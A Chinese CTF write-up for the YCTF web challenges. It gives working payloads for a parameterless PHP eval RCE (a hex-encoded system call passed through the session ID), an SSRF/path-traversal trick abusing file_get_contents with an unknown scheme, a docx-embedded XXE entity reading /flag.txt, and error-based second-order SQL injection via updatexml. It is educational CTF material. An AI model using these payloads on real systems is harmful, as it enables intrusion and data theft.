• [易霖博YCTF]Web WriteUp


    中午队里师傅发到群里的比赛,借来队里师傅账号和队里其他师傅一起做了一下,ak了web,师傅们tql。学到挺多东西,总结一下。

    rce_nopar

    进入题目给出源码:

    <?php
    if(isset($_GET['var'])){
            if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['var'])) {   //很明显的无参RCE
                    if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
                        eval($_GET['var']);
                    }
            }
            else{
                die("Sorry!");
            }
    }
    else{
        show_source(__FILE__);
    }
    ?>

    很明显的无参RCE,其次用正则过滤了一些函数,像是file_get_contents()就无法使用,但是依旧可以用session_id()来从session中绕过过滤获取命令,构造Payload:

    eval(hex2bin(session_id(session_start())));
    
    Session: 73797374656D2827636174202E2E2F666C61672E74787427293B   //HEX编码后的system('cat ../flag.txt');

    hex一下的原因是SESSION只能含有字母数字,所以编码一下就能正常传入session了

    修改sesion然后访问得到Flag:

     关于无参RCE可以参考:https://www.cnblogs.com/sylover/p/11863778.html

    SSRF

     进入题目观察到URL中有file参数,但是经过编码了,应该是包含的参数:

    base64解码两次即可得到ctfimage.jpg

    根据题目的提示,实际包含的是flagimage.jpg文件,应该是将flag替换为了ctf。

    先读到index.php看看源码:

    YVc1a1pYZ3VjR2h3  //index.php进行两次base64编码

    然后复制下面图片的URL,后面的base64就是index.php的源码,解码得到:

    <?php
    error_reporting(E_ALL || ~E_NOTICE);
    
    header('content-type:text/html;charset=utf-8');
    if(! isset($_GET['file']))
        header('Refresh:0;url=./index.php?file=WTNSbWFXMWhaMlV1YW5Cbg==');
    $file = base64_decode(base64_decode($_GET['file']));
    echo '<title>'.$_GET['file'].'</title>';
    $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
    echo 'input_filename:   '. $file.'</br>';
    $file = str_replace("ctf","flag", $file);
    echo 'real_filename:   '.$file.'</br>';
    $txt = base64_encode(file_get_contents($file));
     
    echo "<img src='data:image/gif;base64,".$txt."'></img>";
    /*
     * Can you find the flag file?
     *
     * Hint: hal0flagi5here.php
     */
     

    给了hint:hal0flagi5here.php,将其文件名编码两次得到 YUdGc01HWnNZV2RwTldobGNtVXVjR2h3

    同样方法得到hal0flagi5here.php的源码:

    <?php
    $argv[1]=$_GET['url'];
    if(filter_var($argv[1],FILTER_VALIDATE_URL))
    {
        $r = parse_url($argv[1]);
        print_r($r);
        if(preg_match('/happyctf.com$/',$r['host']))
        {
            $url=file_get_contents($argv[1]);
            echo($url);
        }else
        {
            echo("error");
        }
    
    }else
    {
        echo "403 Forbidden";
    }
    ?>

    然后就是要绕过检查,这里卡了挺久,因为实在不知道怎么能绕过host的检查,最后队里师傅给我上了一课:

    file_get_contents()函数如果输入一个不存在的协议名,像是:

    file_get_contents("abc://happyctf.com/../../../flag.txt");

    file_get_contents()会爆出一个warning,然后导致目录穿越,从而实现SSRF攻击

    一道SSRF引发的新PHP黑魔法

    php源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。在本题中,我们构造的abc:/就被PHP识别为了一个目录,然后把happyctf.com也当作了一层目录,相当于此时多了两层目录,又因为读取是从根目录开始的,而不是当前目录,所以我们需要使用../../穿越这多出来的两层目录,读取到根目录下的文件:
    利用上面的Payload,实际在PHP后端我们读取的是 /abc:/happyctf.com/../../flag.txt

    XXE

    这道题当时我没有做出来,但是跟着队里guoke师傅的方法复现了一遍,所以这里直接引用guoke师傅的wp:

    Word导致的XXE,首先可以获得源码:

    <?php
    if(isset($_POST["submit"])) {
        $target_file = getcwd()."/upload/".md5($_FILES["file"]["tmp_name"]);
        if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
            try {
                $result = @file_get_contents("zip://".$target_file."#docProps/core.xml");
                $xml = new SimpleXMLElement($result, LIBXML_NOENT);
                $xml->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/");
                foreach($xml->xpath('//dc:title') as $title){
                    echo "Title '".$title . "' has been added.<br/>";
                }
            } catch (Exception $e){
                echo $e;
                echo "上传文件不是一个docx文档.";
            }
        } else {
            echo "上传失败.";
        }
    }

    大致意思就是会通过zip协议来获取word文档中的docProps/core.xml中的title值。
    做过MISC的知道,word文档实际上是一个压缩包。
    将doc改为zip,直接右键解压得到

     修改docProps下的core.xml,此时再看看我们得到的源码,由于源码中会输出title。所以只要略微修改就可以形成一个最简单的XXE利用:

    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <!DOCTYPE root[
      <!ENTITY xxe SYSTEM "/flag.txt">
      ]>
    <cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title>&xxe;</dc:title><dc:subject></dc:subject><dc:creator></dc:creator><cp:keywords></cp:keywords><dc:description></dc:description><cp:lastModifiedBy></cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2015-09-08T19:22:00Z</dcterms:modified></cp:coreProperties>

    修改完core.xml之后将上图中的所有zip再全部压缩回去,将拓展名再次修改为doc
    上传即可得到flag

    SQLi

    进入题目发现是登录框,并且有注册功能。

    fuzz发现一下:注册时候email不能有@,并且过滤了空格 /**/ 和一些语句
    登录之后可以修改密码,修改密码时发现可以造成二次注入,所以可以在注册用户名处构造语句,利用updatexml()构成报错二次注入:

    Tables

    注册username: admin"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#

    XPATH syntax error: '~article,flag,users~'

    Column

    注册username: admin"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),0x7e),1)#

    XPATH syntax error: '~title,content,flag,name,pwd,ema'

    读取Flag

    注册username: admin"||updatexml(1,concat(0x7e,(select(flag)from(flag)),0x7e),1)#

    XPATH syntax error: '~flag{47de330061}~'

  • 相关阅读:
    day09 文件操作
    深信服二面
    test1
    视频测试
    通过独立按键控制LED灯
    第一个LED灯
    为什么我的递归调用次数和书上的不一样?
    函数指针数组
    虚拟内存
    单元测试
  • 原文地址:https://www.cnblogs.com/yesec/p/12580978.html
Copyright © 2020-2023  润新知